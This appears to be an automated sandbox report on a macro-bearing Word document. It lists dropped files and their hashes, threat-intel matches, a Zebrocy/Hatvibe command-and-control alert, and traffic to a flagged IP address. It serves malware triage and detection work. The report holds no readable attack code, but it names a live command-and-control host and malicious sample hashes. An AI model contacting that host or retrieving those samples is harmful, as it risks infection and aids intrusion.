- Excluded domains from analysis (whitelisted): e1324.dscd.akamaiedge.net, odc.officeapps.live.com, slscr.update.microsoft.com, mobile.events.data.microsoft.com, login.live.com, frc-azsc-000.roaming.officeapps.live.com, officeclient.microsoft.com, templatesmetadata.office.net, wu-b-net.trafficmanager.net, osiprod-neu-bronze-azsc-000.northeurope.cloudapp.azure.com, ecs.office.com, e40491.dscg.akamaiedge.net, uci.cdn.office.net, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, nleditor.osi.office.net, res-prod.trafficmanager.net, owamail.public.cdn.office.net.edgekey.net, s-0005.s-msedge.net, owamail.public.cdn.office.net.edgekey.net.globalredir.akadns.net, metadata.templates.cdn.office.net, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net, mobile.events.data.trafficmanager.net, neu-azsc-000.odc.officeapps.live.com, europe.odcsm1.live.com.akadns.net, templatesmetadata.office.net.edgekey.net, eur.roaming1.live.com.akadns.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.
- Not all processes where analyzed, report is missing behavior information
- Report size exceeded maximum capacity and may have missing behavior information.
- Report size getting too big, too many NtCreateFile calls found.
- Report size getting too big, too many NtOpenKeyEx calls found.
- Report size getting too big, too many NtProtectVirtualMemory calls found.
- Report size getting too big, too many NtQueryAttributesFile calls found.
- Report size getting too big, too many NtQueryValueKey calls found.
- Report size getting too big, too many NtReadVirtualMemory calls found.
- Report size getting too big, too many NtSetValueKey calls found.
| Time | Type | Description |
|---|---|---|
| 15:37:33 | API Interceptor | |
| 21:37:31 | Task Scheduler |
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 104.21.84.174 | Get hash | malicious | HTMLPhisher | Browse | ||
| Get hash | malicious | HtmlDropper, HTMLPhisher | Browse |
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| bg.microsoft.map.fastly.net | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | FormBook, PureLog Stealer | Browse |
| ||
| Get hash | malicious | DCRat, PureLog Stealer, Xmrig, zgRAT | Browse |
| ||
| Get hash | malicious | Remcos | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Strela Downloader | Browse |
| ||
| Get hash | malicious | Strela Downloader | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| CLOUDFLARENETUS | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | HTMLPhisher | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | DanaBot, Vidar | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
|
⊘No context
⊘No context
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 3442 |
| Entropy (8bit): | 5.634913051750585 |
| Encrypted: | false |
| SSDEEP: | 48:mm4eQ47qIOn6gm1tkXep8YFSAUY29IFR0X3J9wAfWoOw6jRz1EMdX7+Juu6mx:meQmdgmXl8wS9IXu3zwAzG1X6JuK |
| MD5: | 8E4E95301EA6335A16A30ACEEE50A254 |
| SHA1: | C677881DEFDC1F405DF8418E0FD9C83B119A0A7D |
| SHA-256: | BA687C26C45588673834075F894AB4A10D92C336C934F9695A3916334270BA91 |
| SHA-512: | 64D04C856E8921B92F980CAF650CCD187CC61B51A09EDA000F52597E054C28FC39A40C28EB0B36FE458137F33B32C6A91A5C3289D857C4CD699A04D2BAEB68C5 |
| Malicious: | false |
| Yara Hits: |
|
| Reputation: | low |
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 870 |
| Entropy (8bit): | 2.7216982607773264 |
| Encrypted: | false |
| SSDEEP: | 24:BrIZatKVUr0quyFLdpeXKA30Ei+rYyPjiI8xpu620:9fCUYqugdpeXTpYyPjiI8xpu65 |
| MD5: | FDB7BDE9525D6ABEE90D0348A0308F3B |
| SHA1: | 87AE19B8952AB8C8BB8FE2109D63D09E7441413E |
| SHA-256: | 65DEFF9C42E47C31CA837327A695173DD29921F8CC5FC7D6923DBD617D4A8CA2 |
| SHA-512: | F683B174074DC2480BD601D4BD7D30A87F35CF5AB03620A9CD3A6B0A32FB728D27DF3331F6A4887C0E5D1263B1CAE6678E4FA784243674E6508A278AD61BFFEC |
| Malicious: | false |
| Reputation: | low |
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 22553 |
| Entropy (8bit): | 7.602165097670585 |
| Encrypted: | false |
| SSDEEP: | 384:/i8ztnJXtkSB4/KDXNxt/ZtNNj1mlyzUeqXS50aPV6Hu9Q4kvaQvGc0i:/jJXtkSDD9xllNj1mreP50ad6O92HP |
| MD5: | 4C0B52880E44BF99D187E8E80071596B |
| SHA1: | E1FE1511C1585322AAD496453CE01BAE6A344A32 |
| SHA-256: | F7B2D9537E8100C0F78EF524F3AB73E92D9D9ABA8B37EB5A14949EFD16D1EB13 |
| SHA-512: | E4EC3E77DDD22A8DB1E157E5176B8EFAB9A0ADF2F4991126F916C34564BFD3AA3284662A8666D8781A72A35B67FB9D0DC303DED1D2067518A0EA08A60296DEF3 |
| Malicious: | true |
| Reputation: | low |
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 663 |
| Entropy (8bit): | 5.949125862393289 |
| Encrypted: | false |
| SSDEEP: | 12:PlrojAxh4bxdtT/CS3wkxWHMGBJg8E8gKVYQezuYEecp:trPsTTaWKbBCgVqSF |
| MD5: | ED3C1C40B68BA4F40DB15529D5443DEC |
| SHA1: | 831AF99BB64A04617E0A42EA898756F9E0E0BCCA |
| SHA-256: | 039FE79B74E6D3D561E32D4AF570E6CA70DB6BB3718395BE2BF278B9E601279A |
| SHA-512: | C7B765B9AFBB9810B6674DBC5C5064ED96A2682E78D5DFFAB384D81EDBC77D01E0004F230D4207F2B7D89CEE9008D79D5FBADC5CB486DA4BC43293B7AA878041 |
| Malicious: | false |
| Reputation: | high, very likely benign file |
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 162 |
| Entropy (8bit): | 2.890812828412885 |
| Encrypted: | false |
| SSDEEP: | 3:EIXl+PWlllk7tqO/tlfl8tlqmyt7zM+ExKn:lzl/k0O/Cam4/dn |
| MD5: | A782C96ED0FC8B7422290C960402614F |
| SHA1: | 47CBDD8328E8219C044638CF07B98E739CCEF495 |
| SHA-256: | CFAC2DDA8DE7F78B50E872F5FF8D3F7F3AC3BB2CB4E277258E367EF3889152DE |
| SHA-512: | 7708DA8D51E787B65483D553A3021E210DBBD884D4B4BD794AEA29C53BE31ED4207A6F686509E8119B1887094BF13440F5D86265FB5B3F6665B0654C3A8B36DB |
| Malicious: | false |
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 22553 |
| Entropy (8bit): | 7.602165097670585 |
| Encrypted: | false |
| SSDEEP: | 384:/i8ztnJXtkSB4/KDXNxt/ZtNNj1mlyzUeqXS50aPV6Hu9Q4kvaQvGc0i:/jJXtkSDD9xllNj1mreP50ad6O92HP |
| MD5: | 4C0B52880E44BF99D187E8E80071596B |
| SHA1: | E1FE1511C1585322AAD496453CE01BAE6A344A32 |
| SHA-256: | F7B2D9537E8100C0F78EF524F3AB73E92D9D9ABA8B37EB5A14949EFD16D1EB13 |
| SHA-512: | E4EC3E77DDD22A8DB1E157E5176B8EFAB9A0ADF2F4991126F916C34564BFD3AA3284662A8666D8781A72A35B67FB9D0DC303DED1D2067518A0EA08A60296DEF3 |
| Malicious: | false |
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 27516 |
| Entropy (8bit): | 7.70082713704097 |
| Encrypted: | false |
| SSDEEP: | 384:/i8ztpAMlZ+vcDqSpj7UYYXNxt/ZtNNjlLcsSMiyORIoQjSYrrN3xa49Q4kvaQxE:/jnicve9xllNjlLcslBCI7a492S |
| MD5: | 793F2291D5674537378233E57AFD4B67 |
| SHA1: | 01C2676034A8C19F84079E0A3B4E1D1C2726F5E6 |
| SHA-256: | 4836329572B4338FD61104BA9D6F2086CA335C34097E90783A90519BFE46AA4D |
| SHA-512: | 1DAFCD05F5ED0636EFE214E2C3810B04FC6FC2A413E3598CE1100B447F9215DACD6EBB71A1841BEBBC787206A24F26B5915C8648D64CB97A54F17357CCC3B99D |
| Malicious: | true |
| Antivirus: |
|
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 22553 |
| Entropy (8bit): | 7.602165097670585 |
| Encrypted: | false |
| SSDEEP: | 384:/i8ztnJXtkSB4/KDXNxt/ZtNNj1mlyzUeqXS50aPV6Hu9Q4kvaQvGc0i:/jJXtkSDD9xllNj1mreP50ad6O92HP |
| MD5: | 4C0B52880E44BF99D187E8E80071596B |
| SHA1: | E1FE1511C1585322AAD496453CE01BAE6A344A32 |
| SHA-256: | F7B2D9537E8100C0F78EF524F3AB73E92D9D9ABA8B37EB5A14949EFD16D1EB13 |
| SHA-512: | E4EC3E77DDD22A8DB1E157E5176B8EFAB9A0ADF2F4991126F916C34564BFD3AA3284662A8666D8781A72A35B67FB9D0DC303DED1D2067518A0EA08A60296DEF3 |
| Malicious: | false |
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 44468 |
| Entropy (8bit): | 7.83105809610787 |
| Encrypted: | false |
| SSDEEP: | 768:XSMfEdyzE7l7tmSLBLmxc0vFpZMHB5YCGCH9zXv0km6kyBZN:i6wyzE7l7tmSL7QFwHBggx0km6kybN |
| MD5: | 6C9A4BAB33B7496A27AF8AAE4ABF4F5E |
| SHA1: | 9501B5FEA6ECFFF2B5D61AA82EE7307296656657 |
| SHA-256: | B4B939A979C2B4BD5B7FBF6F5DFBB3FF0E59B8BE04D68C7B5346D7B746E4313D |
| SHA-512: | 3379DBBD62D2257DFF075AC89A379314DED34D266A71D55519438B6C1C3C60DC8576E2B6323C4E525A0D5328ACB533A52736781AD5CAF7FDC99546655D87629D |
| Malicious: | true |
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 162 |
| Entropy (8bit): | 2.824637399168359 |
| Encrypted: | false |
| SSDEEP: | 3:EIXl+PWlllKBLllBqWllPl/l/flPl/RA+kFrR/uPbkJxKn:lzl/CL5qWXWxr5u5n |
| MD5: | D49DD152CDD7E36590D004F8A070CAF1 |
| SHA1: | B823635D13098E0732A02EC81079B18BBE1C3B40 |
| SHA-256: | CCC97CA6F8B638419D01AC1045F97DC6998B0B70C6A78061C215004BF7794328 |
| SHA-512: | 8A845F95E7F3D1FBB3EF246A4BAEC026513F4CF3FC81562698F3B7E9E35FF394974B31D34513169DA380362EAC3AFFE6FFD84CAD90EDEAD212C7F121885FD21D |
| Malicious: | false |
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 44468 |
| Entropy (8bit): | 7.83105809610787 |
| Encrypted: | false |
| SSDEEP: | 768:XSMfEdyzE7l7tmSLBLmxc0vFpZMHB5YCGCH9zXv0km6kyBZN:i6wyzE7l7tmSL7QFwHBggx0km6kybN |
| MD5: | 6C9A4BAB33B7496A27AF8AAE4ABF4F5E |
| SHA1: | 9501B5FEA6ECFFF2B5D61AA82EE7307296656657 |
| SHA-256: | B4B939A979C2B4BD5B7FBF6F5DFBB3FF0E59B8BE04D68C7B5346D7B746E4313D |
| SHA-512: | 3379DBBD62D2257DFF075AC89A379314DED34D266A71D55519438B6C1C3C60DC8576E2B6323C4E525A0D5328ACB533A52736781AD5CAF7FDC99546655D87629D |
| Malicious: | true |
| Antivirus: |
|
| Preview: |
| Process: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 26 |
| Entropy (8bit): | 3.95006375643621 |
| Encrypted: | false |
| SSDEEP: | 3:ggPYV:rPYV |
| MD5: | 187F488E27DB4AF347237FE461A079AD |
| SHA1: | 6693BA299EC1881249D59262276A0D2CB21F8E64 |
| SHA-256: | 255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309 |
| SHA-512: | 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E |
| Malicious: | true |
| Preview: |
| File type: | |
| Entropy (8bit): | 7.9711875335075595 |
| TrID: |
|
| File name: | RoYAd85faz.doc |
| File size: | 42'814 bytes |
| MD5: | ab5685ebf439f61c554977df1e1cd0c3 |
| SHA1: | 715724904dfb62a68887fa3d2d6d391b32cbd7b1 |
| SHA256: | fd78051817b5e2375c92d14588f9a4ba1adc92cc1564e55e6150ae350ed6c889 |
| SHA512: | fc0eb6df2a25cb09f1431ac799b8d078e1dbc5e8ff664e06a5133175ff08a2068ac0bd185dc1e943dc7338ca5bc9f0de08473e117f213e5c3efb74c4bde40766 |
| SSDEEP: | 768:K5LoMrd9SPM7SVTqVZDngfIZ6DZH9A5fO3cfgw92j6pZliNEfQy/1mJW3vad:K5E+7Y+rgfIIilO3o92juiI7/1vg |
| TLSH: | 7D13F134FC882915FBEEE73653901A5AFB720952AB4020370A6792D557CB7F00FF5899 |
| File Content Preview: | PK.........|8Y.Y.=............[Content_Types].xml...n.0.E.......D...(,g.......F..f+>@....;...-.3/m.X.{....Y.?...aL..Z.U.Q.S^.........(....y...c....O..}.T...Zl..7)....T...OZ.-...k.@..5.......#tTR....%.....z..C..8Q\.u.U- ..( >.;.+.J..Fa.k.6._.H.'a.........V |
 | |
| Icon Hash: | 35e1cc889a8a8599 |
| Document Type: | OpenXML |
| Number of OLE Files: | 1 |
| Has Summary Info: | |
| Application Name: | |
| Encrypted Document: | False |
| Contains Word Document Stream: | True |
| Contains Workbook/Book Stream: | False |
| Contains PowerPoint Document Stream: | False |
| Contains Visio Document Stream: | False |
| Contains ObjectPool Stream: | False |
| Flash Objects Count: | 0 |
| Contains VBA Macros: | True |
| Title: | |
| Subject: | |
| Author: | |
| Keywords: | |
| Template: | |
| Last Saved By: | |
| Revion Number: | 36 |
| Total Edit Time: | 0 |
| Create Time: | 2023-09-28T05:41:00Z |
| Last Saved Time: | 2023-10-09T04:26:00Z |
| Number of Pages: | 3 |
| Number of Words: | 825 |
| Number of Characters: | 4703 |
| Creating Application: | |
| Security: | 12 |
| Number of Lines: | 39 |
| Number of Paragraphs: | 11 |
| Thumbnail Scaling Desired: | false |
| Company: | |
| Contains Dirty Links: | false |
| Shared Document: | false |
| Changed Hyperlinks: | false |
| Application Version: | 16.0000 |
General | |
| Stream Path: | VBA/ThisDocument |
| VBA File Name: | ThisDocument.cls |
| Stream Size: | 5719 |
| Data ASCII: | . . . . . . . . . < . . . . . . b . . . T . . . b . . . . . . . . . . . . . . P . | . . . . . . . . . . . . . . . . . . . . . . . D ' G . . = + - G . . . H . . . . . . . . . . . . . . . . . . . . ? r . h G . V . ' . . . . . . . . . . . . . . . . . . . . . . . x . . . . ? r . h G . V . ' . D ' G . . = . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . S " . . . . S . . . . . S " . . . . > " . . . . . . . . . . L . . . . . L . . . . . L . . . . . L . . . . . L . . . . . L . . . . . L . . . . . L |
| Data Raw: | 01 16 03 00 06 00 01 00 00 3c 0a 00 00 e4 00 00 00 62 02 00 00 54 0b 00 00 62 0b 00 00 f2 11 00 00 03 00 00 00 01 00 00 00 50 0d 7c 15 00 00 ff ff a3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff a0 00 ff ff 00 00 9f a8 44 84 27 fd f3 47 9b c6 04 c4 ae f2 3d 9b f5 ea 2b f9 2d 8c 99 47 83 1c 88 0a ac a3 17 48 00 00 00 00 00 00 00 00 00 00 00 00 00 |
|
General | |
| Stream Path: | PROJECT |
| CLSID: | |
| File Type: | ASCII text, with CRLF line terminators |
| Stream Size: | 369 |
| Entropy: | 5.302139144655809 |
| Base64 Encoded: | True |
| Data ASCII: | I D = " { 0 C 7 2 1 A 6 3 - D 3 8 3 - 4 0 3 A - 9 8 2 A - 0 5 A 3 0 E 7 6 2 5 B 7 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " D 5 D 7 4 9 A 6 C B 7 F C F 7 F C F 7 F C F 7 F C F " . . D P B = " A A A 8 3 6 9 1 0 A 9 2 0 A 9 2 0 A " . . G C = " 7 F 7 D E 3 C C 6 D 7 4 4 3 7 5 4 3 7 5 B C " . . . . [ H o s t E x t e n d e r I n f |
| Data Raw: | 49 44 3d 22 7b 30 43 37 32 31 41 36 33 2d 44 33 38 33 2d 34 30 33 41 2d 39 38 32 41 2d 30 35 41 33 30 45 37 36 32 35 42 37 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69 |
General | |
| Stream Path: | PROJECTwm |
| CLSID: | |
| File Type: | data |
| Stream Size: | 41 |
| Entropy: | 3.0773844850752607 |
| Base64 Encoded: | False |
| Data ASCII: | T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . . |
| Data Raw: | 54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00 |
General | |
| Stream Path: | VBA/_VBA_PROJECT |
| CLSID: | |
| File Type: | data |
| Stream Size: | 3235 |
| Entropy: | 4.5261619436805 |
| Base64 Encoded: | False |
| Data ASCII: | a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D . |
| Data Raw: | cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00 |
General | |
| Stream Path: | VBA/__SRP_0 |
| CLSID: | |
| File Type: | data |
| Stream Size: | 3509 |
| Entropy: | 3.443885782340945 |
| Base64 Encoded: | False |
| Data ASCII: | K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * \\ C N o r m a l r U . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ 6 . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a . . . . . |
| Data Raw: | 93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 01 00 09 00 00 00 2a 5c 43 4e 6f 72 6d 61 6c 72 55 c0 02 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 |
General | |
| Stream Path: | VBA/__SRP_1 |
| CLSID: | |
| File Type: | data |
| Stream Size: | 238 |
| Entropy: | 2.11560831315699 |
| Base64 Encoded: | False |
| Data ASCII: | r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o b j A p p . . . . . . . . . . . . . . . . w s l . . . . . . . . . . . . . . . . n a m e d o c V . . . . . . . . . . . . . . . |
| Data Raw: | 72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 06 00 00 00 00 00 00 09 11 04 00 00 00 00 |
General | |
| Stream Path: | VBA/__SRP_2 |
| CLSID: | |
| File Type: | data |
| Stream Size: | 3441 |
| Entropy: | 3.681817370422095 |
| Base64 Encoded: | False |
| Data ASCII: | r U . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . ! . . . . . . . . . . . . . . . . . . . . . . . |
| Data Raw: | 72 55 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 04 00 04 00 2e 00 00 00 71 0a 00 00 00 00 00 00 00 00 00 00 11 0c 00 00 00 00 00 00 00 00 00 00 81 0d 00 00 00 00 00 00 00 00 |
General | |
| Stream Path: | VBA/__SRP_3 |
| CLSID: | |
| File Type: | data |
| Stream Size: | 420 |
| Entropy: | 2.3674153773884705 |
| Base64 Encoded: | False |
| Data ASCII: | r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . ! . . . . . . . . . . . . . . ` . . 1 . . . . . . . . . . . O . P . 1 . . . . . . . . . . . . . . ` . . 9 . . . . . 1 . . . . . . . . . . . . . . . . . O . O . 8 . . . . . . . . . . . . . . . . ` . . A . . . . . . . . . . . 8 . ! . . . . . . . . . . . . . . ` . . I . 8 . . . . . . . . . . . . . * . . . . . . . . . . . . . . . . . . . @ . . . . . . ` . . . * . . . |
| Data Raw: | 72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 a8 00 00 00 08 00 40 00 21 03 00 00 00 00 00 00 00 00 02 00 00 00 04 60 04 01 31 0e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 |
General | |
| Stream Path: | VBA/dir |
| CLSID: | |
| File Type: | VAX-order 68K Blit (standalone) executable |
| Stream Size: | 523 |
| Entropy: | 6.209506507265267 |
| Base64 Encoded: | True |
| Data ASCII: | . . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . l . . . . . . . . h . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ s y s t e m 3 . 2 \\ . e 2 . t l b . # O L E A u t o m a t i o n . ` . . . E N o r m a l . E N C r . m . a Q F . . ) . . . * . \\ C . . . . . . . \\ K . . . ] . r . . . & O . f f i c . l |
| Data Raw: | 01 07 b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 e1 f9 fc 68 06 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30 |
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node| Timestamp | SID | Signature | Severity | Source IP | Source Port | Dest IP | Dest Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-01-13T21:38:36.141852+0100 | 2057742 | ET MALWARE TA426/Zebrocy Hatvibe CnC Server Response M1 | 1 | 104.21.84.174 | 80 | 192.168.2.26 | 49712 | TCP |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Jan 13, 2025 21:37:32.959677935 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:37:32.964447975 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:37:32.964535952 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:37:32.964709044 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:37:32.965065956 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:37:32.969414949 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:37:32.969789028 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:37:33.623665094 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:37:33.623779058 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:37:50.850955009 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:37:50.851094961 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:37:50.855828047 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:37:50.856045961 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:37:51.108333111 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:37:51.108474016 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:06.470473051 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:06.470580101 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:06.475359917 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:06.475469112 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:06.742177010 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:06.742291927 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:22.568747997 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:22.568927050 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
